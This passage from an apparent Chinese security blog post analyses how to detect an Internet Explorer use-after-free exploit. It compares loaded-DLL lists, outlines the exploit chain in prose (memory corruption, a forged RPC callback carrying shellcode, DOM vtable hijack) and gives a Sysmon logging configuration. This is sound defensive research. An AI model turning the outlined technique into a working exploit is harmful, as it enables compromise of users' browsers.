comdlg32.dll    Common Dialogs DLL  Microsoft Corporation   C:\Windows\SysWOW64\comdlg32.dll
coml2.dll   Microsoft COM for Windows   Microsoft Corporation   C:\Windows\SysWOW64\coml2.dll
CoreMessaging.dll   Microsoft CoreMessaging Dll Microsoft Corporation   C:\Windows\SysWOW64\CoreMessaging.dll
CoreUIComponents.dll    Microsoft Core UI Components Dll    Microsoft Corporation   C:\Windows\SysWOW64\CoreUIComponents.dll
crypt32.dll Crypto API32    Microsoft Corporation   C:\Windows\SysWOW64\crypt32.dll
cryptbase.dll   Base cryptographic API DLL  Microsoft Corporation   C:\Windows\SysWOW64\cryptbase.dll
cryptsp.dll Cryptographic Service Provider API  Microsoft Corporation   C:\Windows\SysWOW64\cryptsp.dll
cversions.2.db          C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db
cversions.2.db          C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db
d2d1.dll    Microsoft D2D Library   Microsoft Corporation   C:\Windows\SysWOW64\d2d1.dll
d3d11.dll   Direct3D 11 Runtime Microsoft Corporation   C:\Windows\SysWOW64\d3d11.dll
DataExchange.dll    Data exchange   Microsoft Corporation   C:\Windows\SysWOW64\DataExchange.dll
dcomp.dll   Microsoft DirectComposition Library Microsoft Corporation   C:\Windows\SysWOW64\dcomp.dll
directmanipulation.dll  Microsoft Direct Manipulation Component Microsoft Corporation   C:\Windows\SysWOW64\directmanipulation.dll
dwmapi.dll  Microsoft Desktop Window Manager API    Microsoft Corporation   C:\Windows\SysWOW64\dwmapi.dll
DWrite.dll  Microsoft DirectX Typography Services   Microsoft Corporation   C:\Windows\SysWOW64\DWrite.dll
dxgi.dll    DirectX Graphics Infrastructure Microsoft Corporation   C:\Windows\SysWOW64\dxgi.dll
efswrt.dll  Storage Protection Windows Runtime DLL  Microsoft Corporation   C:\Windows\SysWOW64\efswrt.dll
gdi32.dll   GDI Client DLL  Microsoft Corporation   C:\Windows\SysWOW64\gdi32.dll
gdi32full.dll   GDI Client DLL  Microsoft Corporation   C:\Windows\SysWOW64\gdi32full.dll
ieapfltr.dll    Microsoft SmartScreen Filter    Microsoft Corporation   C:\Windows\SysWOW64\ieapfltr.dll
ieframe.dll Internet 浏览器    Microsoft Corporation   C:\Windows\SysWOW64\ieframe.dll
ieframe.dll.mui Internet 浏览器    Microsoft Corporation   C:\Windows\System32\zh-CN\ieframe.dll.mui
ieproxy.dll IE ActiveX Interface Marshaling Library Microsoft Corporation   C:\Windows\SysWOW64\ieproxy.dll
iertutil.dll    Internet Explorer 的运行时实用程序  Microsoft Corporation   C:\Windows\SysWOW64\iertutil.dll
IEShims.dll Internet Explorer Compatibility Shims   Microsoft Corporation   C:\Program Files (x86)\Internet Explorer\IEShims.dll
ieui.dll    Internet Explorer UI 引擎 Microsoft Corporation   C:\Windows\SysWOW64\ieui.dll
iexplore.exe    Internet Explorer   Microsoft Corporation   C:\Program Files (x86)\Internet Explorer\iexplore.exe
iexplore.exe.mui    Internet Explorer   Microsoft Corporation   C:\Program Files\internet explorer\zh-CN\iexplore.exe.mui
imageres.dll    Windows Image Resource  Microsoft Corporation   C:\Windows\SysWOW64\imageres.dll
imageres.dll.mui    Windows Image Resource  Microsoft Corporation   C:\Windows\System32\en-US\imageres.dll.mui
imm32.dll   Multi-User Windows IMM32 API Client DLL Microsoft Corporation   C:\Windows\SysWOW64\imm32.dll
IPHLPAPI.DLL    IP Helper API   Microsoft Corporation   C:\Windows\SysWOW64\IPHLPAPI.DLL
jscript9.dll    Microsoft (R) JScript   Microsoft Corporation   C:\Windows\SysWOW64\jscript9.dll
kernel.appcore.dll  AppModel API Host   Microsoft Corporation   C:\Windows\SysWOW64\kernel.appcore.dll
kernel32.dll    Windows NT BASE API Client DLL  Microsoft Corporation   C:\Windows\SysWOW64\kernel32.dll
KernelBase.dll  Windows NT BASE API Client DLL  Microsoft Corporation   C:\Windows\SysWOW64\KernelBase.dll
KernelBase.dll.mui  Windows NT 基本 API 客户端 DLL   Microsoft Corporation   C:\Windows\System32\zh-CN\KernelBase.dll.mui
locale.nls          C:\Windows\System32\locale.nls
mlang.dll   Multi Language Support DLL  Microsoft Corporation   C:\Windows\SysWOW64\mlang.dll
mlang.dll.mui   多语言支持 DLL   Microsoft Corporation   C:\Windows\System32\zh-CN\mlang.dll.mui
mpr.dll Multiple Provider Router DLL    Microsoft Corporation   C:\Windows\SysWOW64\mpr.dll
msasn1.dll  ASN.1 Runtime APIs  Microsoft Corporation   C:\Windows\SysWOW64\msasn1.dll
msctf.dll   MSCTF Server DLL    Microsoft Corporation   C:\Windows\SysWOW64\msctf.dll
mshtml.dll  Microsoft (R) HTML 查看器  Microsoft Corporation   C:\Windows\SysWOW64\mshtml.dll
mshtml.dll.mui  Microsoft (R) HTML 查看器  Microsoft Corporation   C:\Windows\System32\zh-CN\mshtml.dll.mui
msi.dll Windows Installer   Microsoft Corporation   C:\Windows\SysWOW64\msi.dll
msimtf.dll  Active IMM Server DLL   Microsoft Corporation   C:\Windows\SysWOW64\msimtf.dll
msIso.dll   Isolation Library for Internet Explorer Microsoft Corporation   C:\Windows\SysWOW64\msIso.dll
msvcp_win.dll   Microsoft® C Runtime Library    Microsoft Corporation   C:\Windows\SysWOW64\msvcp_win.dll
msvcrt.dll  Windows NT CRT DLL  Microsoft Corporation   C:\Windows\SysWOW64\msvcrt.dll
mswsock.dll Microsoft Windows Sockets 2.0 Service Provider  Microsoft Corporation   C:\Windows\SysWOW64\mswsock.dll
netapi32.dll    Net Win32 API DLL   Microsoft Corporation   C:\Windows\SysWOW64\netapi32.dll
netmsg.dll  网络消息 DLL    Microsoft Corporation   C:\Windows\SysWOW64\netmsg.dll
netmsg.dll.mui  网络消息 DLL    Microsoft Corporation   C:\Windows\System32\zh-CN\netmsg.dll.mui
netutils.dll    Net Win32 API Helpers DLL   Microsoft Corporation   C:\Windows\SysWOW64\netutils.dll
ninput.dll  Microsoft Pen and Touch Input Component Microsoft Corporation   C:\Windows\SysWOW64\ninput.dll
nsi.dll NSI User-mode interface DLL Microsoft Corporation   C:\Windows\SysWOW64\nsi.dll
ntdll.dll   NT 层 DLL    Microsoft Corporation   C:\Windows\SysWOW64\ntdll.dll
ntdll.dll   NT 层 DLL    Microsoft Corporation   C:\Windows\System32\ntdll.dll
ntmarta.dll Windows NT MARTA provider   Microsoft Corporation   C:\Windows\SysWOW64\ntmarta.dll
ole32.dll   Microsoft OLE for Windows   Microsoft Corporation   C:\Windows\SysWOW64\ole32.dll
oleaut32.dll    OLEAUT32.DLL    Microsoft Corporation   C:\Windows\SysWOW64\oleaut32.dll
OnDemandConnRouteHelper.dll On Demand Connctiond Route Helper   Microsoft Corporation   C:\Windows\SysWOW64\OnDemandConnRouteHelper.dll
OneCoreCommonProxyStub.dll  OneCore Common Proxy Stub   Microsoft Corporation   C:\Windows\SysWOW64\OneCoreCommonProxyStub.dll
OneCoreUAPCommonProxyStub.dll   OneCoreUAP Common Proxy Stub    Microsoft Corporation   C:\Windows\SysWOW64\OneCoreUAPCommonProxyStub.dll
powrprof.dll    Power Profile Helper DLL    Microsoft Corporation   C:\Windows\SysWOW64\powrprof.dll
profapi.dll User Profile Basic API  Microsoft Corporation   C:\Windows\SysWOW64\profapi.dll
propsys.dll Microsoft 属性系统  Microsoft Corporation   C:\Windows\SysWOW64\propsys.dll
propsys.dll.mui Microsoft 属性系统  Microsoft Corporation   C:\Windows\System32\zh-CN\propsys.dll.mui
R000000000006.clb           C:\Windows\Registration\R000000000006.clb
rmclient.dll    Resource Manager Client Microsoft Corporation   C:\Windows\SysWOW64\rmclient.dll
rpcrt4.dll  远程过程调用运行时   Microsoft Corporation   C:\Windows\SysWOW64\rpcrt4.dll
scrrun.dll  Microsoft ® Script Runtime  Microsoft Corporation   C:\Windows\SysWOW64\scrrun.dll
scrrun.dll  Microsoft ® Script Runtime  Microsoft Corporation   C:\Windows\SysWOW64\scrrun.dll
sechost.dll Host for SCM/SDDL/LSA Lookup APIs   Microsoft Corporation   C:\Windows\SysWOW64\sechost.dll
secur32.dll Security Support Provider Interface Microsoft Corporation   C:\Windows\SysWOW64\secur32.dll
SHCore.dll  SHCORE  Microsoft Corporation   C:\Windows\SysWOW64\SHCore.dll
shell32.dll Windows Shell Common Dll    Microsoft Corporation   C:\Windows\SysWOW64\shell32.dll
shlwapi.dll 外壳简易实用工具库   Microsoft Corporation   C:\Windows\SysWOW64\shlwapi.dll
SortDefault.nls         C:\Windows\Globalization\Sorting\SortDefault.nls
srpapi.dll  SRP APIs Dll    Microsoft Corporation   C:\Windows\SysWOW64\srpapi.dll
sspicli.dll Security Support Provider Interface Microsoft Corporation   C:\Windows\SysWOW64\sspicli.dll
StaticCache.dat         C:\Windows\Fonts\StaticCache.dat
SuggestedSites.dat          C:\Users\bonelee\AppData\Local\Microsoft\Windows\INetCache\Low\SuggestedSites.dat
sxs.dll Fusion 2.5  Microsoft Corporation   C:\Windows\SysWOW64\sxs.dll
TextInputFramework.dll  "TextInputFramework.DYNLINK"    Microsoft Corporation   C:\Windows\SysWOW64\TextInputFramework.dll
tokenbinding.dll    Token Binding Protocol  Microsoft Corporation   C:\Windows\SysWOW64\tokenbinding.dll
twinapi.appcore.dll twinapi.appcore Microsoft Corporation   C:\Windows\SysWOW64\twinapi.appcore.dll
ucrtbase.dll    Microsoft® C Runtime Library    Microsoft Corporation   C:\Windows\SysWOW64\ucrtbase.dll
urlmon.dll  Win32 的 OLE32 扩展    Microsoft Corporation   C:\Windows\SysWOW64\urlmon.dll
urlmon.dll.mui  Win32 的 OLE32 扩展    Microsoft Corporation   C:\Windows\System32\zh-CN\urlmon.dll.mui
user32.dll  多用户 Windows 用户 API 客户端 DLL  Microsoft Corporation   C:\Windows\SysWOW64\user32.dll
uxtheme.dll Microsoft UxTheme Library   Microsoft Corporation   C:\Windows\SysWOW64\uxtheme.dll
vaultcli.dll    Credential Vault Client Library Microsoft Corporation   C:\Windows\SysWOW64\vaultcli.dll
version.dll Version Checking and File Installation Libraries    Microsoft Corporation   C:\Windows\SysWOW64\version.dll
vm3dum_10.dll   VMware SVGA 3D D3D10 Client Driver  VMware, Inc.    C:\Windows\SysWOW64\vm3dum_10.dll
vm3dum_loader.dll   VMware SVGA 3D Usermode Driver Loader   VMware, Inc.    C:\Windows\SysWOW64\vm3dum_loader.dll
win32u.dll  Win32u  Microsoft Corporation   C:\Windows\SysWOW64\win32u.dll
windows.storage.dll Microsoft WinRT Storage API Microsoft Corporation   C:\Windows\SysWOW64\windows.storage.dll
winhttp.dll Windows HTTP Services   Microsoft Corporation   C:\Windows\SysWOW64\winhttp.dll
wininet.dll Internet Extensions for Win32   Microsoft Corporation   C:\Windows\SysWOW64\wininet.dll
winmm.dll   MCI API DLL Microsoft Corporation   C:\Windows\SysWOW64\winmm.dll
winmmbase.dll   Base Multimedia Extension API DLL   Microsoft Corporation   C:\Windows\SysWOW64\winmmbase.dll
winnsi.dll  Network Store Information RPC interface Microsoft Corporation   C:\Windows\SysWOW64\winnsi.dll
wintrust.dll    Microsoft Trust Verification APIs   Microsoft Corporation   C:\Windows\SysWOW64\wintrust.dll
WinTypes.dll    Windows Base Types DLL  Microsoft Corporation   C:\Windows\SysWOW64\WinTypes.dll
wkscli.dll  Workstation Service Client DLL  Microsoft Corporation   C:\Windows\SysWOW64\wkscli.dll
wldp.dll    Windows Lockdown Policy Microsoft Corporation   C:\Windows\SysWOW64\wldp.dll
wow64.dll   Win32 Emulation on NT64 Microsoft Corporation   C:\Windows\System32\wow64.dll
wow64cpu.dll    AMD64 Wow64 CPU     Microsoft Corporation   C:\Windows\System32\wow64cpu.dll
wow64win.dll    Wow64 Console and Win32 API Logging Microsoft Corporation   C:\Windows\System32\wow64win.dll
ws2_32.dll  Windows Socket 2.0 32-Bit DLL   Microsoft Corporation   C:\Windows\SysWOW64\ws2_32.dll

 

 

太多了,不知道问题在哪里!我单独创建一个正常的html文件,然后使用ie加载,文件内容如下:

1
2
3
4
5
6
<html>
start!
<script>
alert("hi");
</script>
</html>

 运行后,

 加载的dll如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
Process: iexplore.exe Pid: 4808
 
Name    Description Company Name    Path
{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db           C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db
{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000001.db           C:\Users\bonelee\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000001.db
{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db           C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db
~FontCache-FontFace.dat         C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\~FontCache-FontFace.dat
~FontCache-S-1-5-21-2730912745-1723166478-227975165-1000.dat            C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\~FontCache-S-1-5-21-2730912745-1723166478-227975165-1000.dat
~FontCache-System.dat           C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\~FontCache-System.dat
advapi32.dll    Advanced Windows 32 Base API    Microsoft Corporation   C:\Windows\SysWOW64\advapi32.dll
apphelp.dll 应用程序兼容性客户端库 Microsoft Corporation   C:\Windows\SysWOW64\apphelp.dll
bcrypt.dll  Windows Cryptographic Primitives Library (Wow64)    Microsoft Corporation   C:\Windows\SysWOW64\bcrypt.dll
bcryptprimitives.dll    Windows Cryptographic Primitives Library    Microsoft Corporation   C:\Windows\SysWOW64\bcryptprimitives.dll
C_1252.NLS          C:\Windows\System32\C_1252.NLS
cfgmgr32.dll    Configuration Manager DLL   Microsoft Corporation   C:\Windows\SysWOW64\cfgmgr32.dll
clbcatq.dll COM+ Configuration Catalog  Microsoft Corporation   C:\Windows\SysWOW64\clbcatq.dll
combase.dll Microsoft COM for Windows   Microsoft Corporation   C:\Windows\SysWOW64\combase.dll
comctl32.dll    用户体验控件库 Microsoft Corporation   C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.17763.737_none_588eeadb78ace734\comctl32.dll
comctl32.dll    用户体验控件库 Microsoft Corporation   C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.17763.737_none_4d637a531b9a7e51\comctl32.dll
comdlg32.dll    Common Dialogs DLL  Microsoft Corporation   C:\Windows\SysWOW64\comdlg32.dll
CoreMessaging.dll   Microsoft CoreMessaging Dll Microsoft Corporation   C:\Windows\SysWOW64\CoreMessaging.dll
CoreUIComponents.dll    Microsoft Core UI Components Dll    Microsoft Corporation   C:\Windows\SysWOW64\CoreUIComponents.dll
crypt32.dll Crypto API32    Microsoft Corporation   C:\Windows\SysWOW64\crypt32.dll
cryptbase.dll   Base cryptographic API DLL  Microsoft Corporation   C:\Windows\SysWOW64\cryptbase.dll
cryptsp.dll Cryptographic Service Provider API  Microsoft Corporation   C:\Windows\SysWOW64\cryptsp.dll
cversions.2.db          C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db
cversions.2.db          C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db
d2d1.dll    Microsoft D2D Library   Microsoft Corporation   C:\Windows\SysWOW64\d2d1.dll
d3d11.dll   Direct3D 11 Runtime Microsoft Corporation   C:\Windows\SysWOW64\d3d11.dll
DataExchange.dll    Data exchange   Microsoft Corporation   C:\Windows\SysWOW64\DataExchange.dll
dcomp.dll   Microsoft DirectComposition Library Microsoft Corporation   C:\Windows\SysWOW64\dcomp.dll
directmanipulation.dll  Microsoft Direct Manipulation Component Microsoft Corporation   C:\Windows\SysWOW64\directmanipulation.dll
dwmapi.dll  Microsoft Desktop Window Manager API    Microsoft Corporation   C:\Windows\SysWOW64\dwmapi.dll
DWrite.dll  Microsoft DirectX Typography Services   Microsoft Corporation   C:\Windows\SysWOW64\DWrite.dll
dxgi.dll    DirectX Graphics Infrastructure Microsoft Corporation   C:\Windows\SysWOW64\dxgi.dll
efswrt.dll  Storage Protection Windows Runtime DLL  Microsoft Corporation   C:\Windows\SysWOW64\efswrt.dll
gdi32.dll   GDI Client DLL  Microsoft Corporation   C:\Windows\SysWOW64\gdi32.dll
gdi32full.dll   GDI Client DLL  Microsoft Corporation   C:\Windows\SysWOW64\gdi32full.dll
ieapfltr.dll    Microsoft SmartScreen Filter    Microsoft Corporation   C:\Windows\SysWOW64\ieapfltr.dll
ieframe.dll Internet 浏览器    Microsoft Corporation   C:\Windows\SysWOW64\ieframe.dll
ieframe.dll.mui Internet 浏览器    Microsoft Corporation   C:\Windows\System32\zh-CN\ieframe.dll.mui
ieproxy.dll IE ActiveX Interface Marshaling Library Microsoft Corporation   C:\Windows\SysWOW64\ieproxy.dll
iertutil.dll    Internet Explorer 的运行时实用程序  Microsoft Corporation   C:\Windows\SysWOW64\iertutil.dll
IEShims.dll Internet Explorer Compatibility Shims   Microsoft Corporation   C:\Program Files (x86)\Internet Explorer\IEShims.dll
ieui.dll    Internet Explorer UI 引擎 Microsoft Corporation   C:\Windows\SysWOW64\ieui.dll
iexplore.exe    Internet Explorer   Microsoft Corporation   C:\Program Files (x86)\Internet Explorer\iexplore.exe
iexplore.exe.mui    Internet Explorer   Microsoft Corporation   C:\Program Files\internet explorer\zh-CN\iexplore.exe.mui
imageres.dll    Windows Image Resource  Microsoft Corporation   C:\Windows\SysWOW64\imageres.dll
imageres.dll.mui    Windows Image Resource  Microsoft Corporation   C:\Windows\System32\en-US\imageres.dll.mui
imm32.dll   Multi-User Windows IMM32 API Client DLL Microsoft Corporation   C:\Windows\SysWOW64\imm32.dll
IPHLPAPI.DLL    IP Helper API   Microsoft Corporation   C:\Windows\SysWOW64\IPHLPAPI.DLL
jscript9.dll    Microsoft (R) JScript   Microsoft Corporation   C:\Windows\SysWOW64\jscript9.dll
kernel.appcore.dll  AppModel API Host   Microsoft Corporation   C:\Windows\SysWOW64\kernel.appcore.dll
kernel32.dll    Windows NT BASE API Client DLL  Microsoft Corporation   C:\Windows\SysWOW64\kernel32.dll
KernelBase.dll  Windows NT BASE API Client DLL  Microsoft Corporation   C:\Windows\SysWOW64\KernelBase.dll
locale.nls          C:\Windows\System32\locale.nls
mlang.dll   Multi Language Support DLL  Microsoft Corporation   C:\Windows\SysWOW64\mlang.dll
mlang.dll.mui   多语言支持 DLL   Microsoft Corporation   C:\Windows\System32\zh-CN\mlang.dll.mui
mpr.dll Multiple Provider Router DLL    Microsoft Corporation   C:\Windows\SysWOW64\mpr.dll
msasn1.dll  ASN.1 Runtime APIs  Microsoft Corporation   C:\Windows\SysWOW64\msasn1.dll
msctf.dll   MSCTF Server DLL    Microsoft Corporation   C:\Windows\SysWOW64\msctf.dll
mshtml.dll  Microsoft (R) HTML 查看器  Microsoft Corporation   C:\Windows\SysWOW64\mshtml.dll
mshtml.dll.mui  Microsoft (R) HTML 查看器  Microsoft Corporation   C:\Windows\System32\zh-CN\mshtml.dll.mui
msimtf.dll  Active IMM Server DLL   Microsoft Corporation   C:\Windows\SysWOW64\msimtf.dll
msIso.dll   Isolation Library for Internet Explorer Microsoft Corporation   C:\Windows\SysWOW64\msIso.dll
msvcp_win.dll   Microsoft® C Runtime Library    Microsoft Corporation   C:\Windows\SysWOW64\msvcp_win.dll
msvcrt.dll  Windows NT CRT DLL  Microsoft Corporation   C:\Windows\SysWOW64\msvcrt.dll
mswsock.dll Microsoft Windows Sockets 2.0 Service Provider  Microsoft Corporation   C:\Windows\SysWOW64\mswsock.dll
netapi32.dll    Net Win32 API DLL   Microsoft Corporation   C:\Windows\SysWOW64\netapi32.dll
netutils.dll    Net Win32 API Helpers DLL   Microsoft Corporation   C:\Windows\SysWOW64\netutils.dll
ninput.dll  Microsoft Pen and Touch Input Component Microsoft Corporation   C:\Windows\SysWOW64\ninput.dll
nsi.dll NSI User-mode interface DLL Microsoft Corporation   C:\Windows\SysWOW64\nsi.dll
ntdll.dll   NT 层 DLL    Microsoft Corporation   C:\Windows\SysWOW64\ntdll.dll
ntdll.dll   NT 层 DLL    Microsoft Corporation   C:\Windows\System32\ntdll.dll
ntmarta.dll Windows NT MARTA provider   Microsoft Corporation   C:\Windows\SysWOW64\ntmarta.dll
ole32.dll   Microsoft OLE for Windows   Microsoft Corporation   C:\Windows\SysWOW64\ole32.dll
oleaut32.dll    OLEAUT32.DLL    Microsoft Corporation   C:\Windows\SysWOW64\oleaut32.dll
OnDemandConnRouteHelper.dll On Demand Connctiond Route Helper   Microsoft Corporation   C:\Windows\SysWOW64\OnDemandConnRouteHelper.dll
OneCoreCommonProxyStub.dll  OneCore Common Proxy Stub   Microsoft Corporation   C:\Windows\SysWOW64\OneCoreCommonProxyStub.dll
OneCoreUAPCommonProxyStub.dll   OneCoreUAP Common Proxy Stub    Microsoft Corporation   C:\Windows\SysWOW64\OneCoreUAPCommonProxyStub.dll
powrprof.dll    Power Profile Helper DLL    Microsoft Corporation   C:\Windows\SysWOW64\powrprof.dll
profapi.dll User Profile Basic API  Microsoft Corporation   C:\Windows\SysWOW64\profapi.dll
propsys.dll Microsoft 属性系统  Microsoft Corporation   C:\Windows\SysWOW64\propsys.dll
propsys.dll.mui Microsoft 属性系统  Microsoft Corporation   C:\Windows\System32\zh-CN\propsys.dll.mui
R000000000006.clb           C:\Windows\Registration\R000000000006.clb
rmclient.dll    Resource Manager Client Microsoft Corporation   C:\Windows\SysWOW64\rmclient.dll
rpcrt4.dll  远程过程调用运行时   Microsoft Corporation   C:\Windows\SysWOW64\rpcrt4.dll
sechost.dll Host for SCM/SDDL/LSA Lookup APIs   Microsoft Corporation   C:\Windows\SysWOW64\sechost.dll
secur32.dll Security Support Provider Interface Microsoft Corporation   C:\Windows\SysWOW64\secur32.dll
SHCore.dll  SHCORE  Microsoft Corporation   C:\Windows\SysWOW64\SHCore.dll
shell32.dll Windows Shell Common Dll    Microsoft Corporation   C:\Windows\SysWOW64\shell32.dll
shlwapi.dll 外壳简易实用工具库   Microsoft Corporation   C:\Windows\SysWOW64\shlwapi.dll
simsun.ttc          C:\Windows\Fonts\simsun.ttc
SortDefault.nls         C:\Windows\Globalization\Sorting\SortDefault.nls
srpapi.dll  SRP APIs Dll    Microsoft Corporation   C:\Windows\SysWOW64\srpapi.dll
sspicli.dll Security Support Provider Interface Microsoft Corporation   C:\Windows\SysWOW64\sspicli.dll
StaticCache.dat         C:\Windows\Fonts\StaticCache.dat
SuggestedSites.dat          C:\Users\bonelee\AppData\Local\Microsoft\Windows\INetCache\Low\SuggestedSites.dat
TextInputFramework.dll  "TextInputFramework.DYNLINK"    Microsoft Corporation   C:\Windows\SysWOW64\TextInputFramework.dll
tokenbinding.dll    Token Binding Protocol  Microsoft Corporation   C:\Windows\SysWOW64\tokenbinding.dll
twinapi.appcore.dll twinapi.appcore Microsoft Corporation   C:\Windows\SysWOW64\twinapi.appcore.dll
ucrtbase.dll    Microsoft® C Runtime Library    Microsoft Corporation   C:\Windows\SysWOW64\ucrtbase.dll
urlmon.dll  Win32 的 OLE32 扩展    Microsoft Corporation   C:\Windows\SysWOW64\urlmon.dll
urlmon.dll.mui  Win32 的 OLE32 扩展    Microsoft Corporation   C:\Windows\System32\zh-CN\urlmon.dll.mui
user32.dll  多用户 Windows 用户 API 客户端 DLL  Microsoft Corporation   C:\Windows\SysWOW64\user32.dll
uxtheme.dll Microsoft UxTheme Library   Microsoft Corporation   C:\Windows\SysWOW64\uxtheme.dll
vaultcli.dll    Credential Vault Client Library Microsoft Corporation   C:\Windows\SysWOW64\vaultcli.dll
version.dll Version Checking and File Installation Libraries    Microsoft Corporation   C:\Windows\SysWOW64\version.dll
vm3dum_10.dll   VMware SVGA 3D D3D10 Client Driver  VMware, Inc.    C:\Windows\SysWOW64\vm3dum_10.dll
vm3dum_loader.dll   VMware SVGA 3D Usermode Driver Loader   VMware, Inc.    C:\Windows\SysWOW64\vm3dum_loader.dll
win32u.dll  Win32u  Microsoft Corporation   C:\Windows\SysWOW64\win32u.dll
windows.storage.dll Microsoft WinRT Storage API Microsoft Corporation   C:\Windows\SysWOW64\windows.storage.dll
winhttp.dll Windows HTTP Services   Microsoft Corporation   C:\Windows\SysWOW64\winhttp.dll
wininet.dll Internet Extensions for Win32   Microsoft Corporation   C:\Windows\SysWOW64\wininet.dll
winmm.dll   MCI API DLL Microsoft Corporation   C:\Windows\SysWOW64\winmm.dll
winmmbase.dll   Base Multimedia Extension API DLL   Microsoft Corporation   C:\Windows\SysWOW64\winmmbase.dll
winnsi.dll  Network Store Information RPC interface Microsoft Corporation   C:\Windows\SysWOW64\winnsi.dll
wintrust.dll    Microsoft Trust Verification APIs   Microsoft Corporation   C:\Windows\SysWOW64\wintrust.dll
WinTypes.dll    Windows Base Types DLL  Microsoft Corporation   C:\Windows\SysWOW64\WinTypes.dll
wkscli.dll  Workstation Service Client DLL  Microsoft Corporation   C:\Windows\SysWOW64\wkscli.dll
wldp.dll    Windows Lockdown Policy Microsoft Corporation   C:\Windows\SysWOW64\wldp.dll
wow64.dll   Win32 Emulation on NT64 Microsoft Corporation   C:\Windows\System32\wow64.dll
wow64cpu.dll    AMD64 Wow64 CPU     Microsoft Corporation   C:\Windows\System32\wow64cpu.dll
wow64win.dll    Wow64 Console and Win32 API Logging Microsoft Corporation   C:\Windows\System32\wow64win.dll
ws2_32.dll  Windows Socket 2.0 32-Bit DLL   Microsoft Corporation   C:\Windows\SysWOW64\ws2_32.dll

 

 

我们使用diff工具比较下差异:左边是hello world正常网页,右边是有上述漏洞页面的dll清单【从检测上看用处不大】

 

 

好了,看到核心的几个dll加载了!见后sysmon采集数据分析。

 

此外,还有handles的情况,diff比较的话,差异还很大:

 

 

 

 

先说核心流程(见后原理分析):

利用UAF读写内存==》在内存里构造恶意rpc数据,内含rpc call back函数指针(这个就是恶意代码!shellcode在里面)==》修改dom的虚表函数,替换自己想要执行的rpc函数==》构造dom元素,让js去执行rpc==》rpc执行,回调callback,执行恶意代码

 

如何检测?我们分析下检测点在哪里?

1、利用UAF读写内存==》从uaf检测视角看,需要跟踪浏览器里的各个对象的释放和读取情况,几乎是不可行的!当然,这里面肯定有修改内存读写和执行属性,这里可以成为检测点。==》从后面知道,sysmon是看不到的!

2、在内存里构造恶意rpc数据,内含rpc call back函数指针(这个就是恶意代码!shellcode在里面)==》从检测看,rpc调用是标准规范,恶意代码在回调的函数里,*****所以应检测这个恶意的回调函数****。==》可以看到fork的可疑calc.exe子进程!

3、修改dom的虚表函数,替换自己想要执行的rpc函数==》浏览器自己检查不严格机制造成的,本例看都是dom内部自己的函数替换,从检测视角看很难,得去记录每一个dom事件的虚表,看是否有替换。

4、构造dom元素,让js去执行rpc==》浏览器dom的机制而已。

5、rpc执行,回调callback,执行恶意代码==》浏览器dom事件的各种callback调用。

 

用sysmon采集下前面复现的案例,看看检测点!典型配置增加下采集规则(主要还是image的加载采集):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<!--SYSMON EVENT ID 7 : DLL (IMAGE) LOADED BY PROCESS [ImageLoad]-->
    <!--COMMENT: Can cause high system load, disabled by default.-->
    <!--COMMENT: [ https://attack.mitre.org/wiki/Technique/T1073 ] [ https://attack.mitre.org/wiki/Technique/T1038 ] [ https://attack.mitre.org/wiki/Technique/T1034 ] -->
 
    <!--DATA: UtcTime, ProcessGuid, ProcessId, Image, ImageLoaded, Hashes, Signed, Signature, SignatureStatus-->
<RuleGroup name="" groupRelation="or">
    <ImageLoad onmatch="exclude">
        <!--NOTE: Using "include" with no rules means nothing in this section will be logged-->
    </ImageLoad>
</RuleGroup>
 
<!--SYSMON EVENT ID 8 : REMOTE THREAD CREATED [CreateRemoteThread]-->
    <!--COMMENT: Monitor for processes injecting code into other processes. Often used by malware to cloak their actions. Also when Firefox loads Flash.
    [ https://attack.mitre.org/wiki/Technique/T1055 ] -->
 
    <!--DATA: UtcTime, SourceProcessGuid, SourceProcessId, SourceImage, TargetProcessId, TargetImage, NewThreadId, StartAddress, StartModule, StartFunction-->
<RuleGroup name="" groupRelation="or">
    <CreateRemoteThread onmatch="exclude">
        <!--COMMENT: Exclude mostly-safe sources and log anything else.-->           
    </CreateRemoteThread>
</RuleGroup>
 
<!--SYSMON EVENT ID 9 : RAW DISK ACCESS [RawAccessRead]-->
    <!--EVENT 9: "RawAccessRead detected"-->
    <!--COMMENT: Can cause high system load, disabled by default.-->
    <!--COMMENT: Monitor for raw sector-level access to the disk, often used to bypass access control lists or access locked files.
        Disabled by default since including even one entry here activates this component. Reward/performance/rule maintenance decision.
        Encourage you to experiment with this feature yourself. [ https://attack.mitre.org/wiki/Technique/T1067 ] -->
    <!--COMMENT: You will likely want to set this to a full capture on domain controllers, where no process should be doing raw reads.-->
 
    <!--DATA: UtcTime, ProcessGuid, ProcessId, Image, Device-->
<RuleGroup name="" groupRelation="or">
    <RawAccessRead onmatch="exclude">
        <!--NOTE: Using "include" with no rules means nothing in this section will be logged-->
    </RawAccessRead>
